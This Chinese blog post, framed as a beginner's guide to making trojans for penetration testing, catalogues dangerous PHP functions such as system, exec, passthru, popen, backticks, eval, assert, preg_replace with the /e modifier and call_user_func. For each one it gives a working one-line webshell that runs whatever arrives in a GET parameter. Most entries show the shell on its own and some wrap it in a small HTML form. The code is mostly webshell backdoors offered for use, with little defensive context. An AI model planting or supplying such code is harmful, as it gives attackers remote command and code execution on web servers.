php危险函数 渗透测试 新人木马制作
php危险函数
一、os命令执行函数
1.system()函数
能够执行系统命令,并且能够自动全额输出
<?php system('calc');?>
命令执行
<form>
<input type="text" name="key">
<input type="submit">
</form>
<?php
$a = @$_GET['key'];
@system($a);
?>
一句话
<?php @system(@$_GET['key']);?>
2.exec()函数、shell_exec()函数
能够执行系统命令
exec()只存储最后一行
shell_exec()存储全部
需要搭配echo进行输出
<form>
<input type="text" name="key">
<input type="submit">
</form>
<?php
$a = @$_GET['key'];
echo exec($a);
//echo shell_exec($a);
?>
3.passthru()函数
可以直接执行命令,并自动输出执行结果
<?php @passthru(@$_GET['key']);?>
4.popen() 函数
无回显,但可以用重定向的方式将结果保存到文件里
<form>
<input type="text" name="key">
<input type="submit">
</form>
<?php
$a = @$_GET['key'];
//$a = 'ipconfig > 1.txt'
$b = popen($a,'r');
var_dump($b);
?>
5. ``反引号
<?php echo `{$_GET['key']}`;?>
二、php代码执行
1.eval()
经典一句话木马
eval()的命令需要 ; 结尾
<?php @eval($_GET['key']);?>
2.assert()
截断,报错
<?php @assert($_GET['key']);?>
3.preg_replace()
<?php
$a = $_GET['key'];
//preg_replace("正则匹配部分","替换内容","被替换数据")
print(preg_replace("/^a/", "A", "apache")); //Apache
echo "<br>";
print(preg_replace('/\(.*\)/','test','[phpinfo()]')); //test
echo "<br>";
echo preg_replace('/\[(.*)\]/e','\\1',"[$a]"); //正则表达式中小括号表示保存
//1表示提取 phpinfo()
?>
4.call_user_func()回调函数
<?php call_user_func('assert',$_GET['key']);?>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· .NET10 - 预览版1新功能体验(一)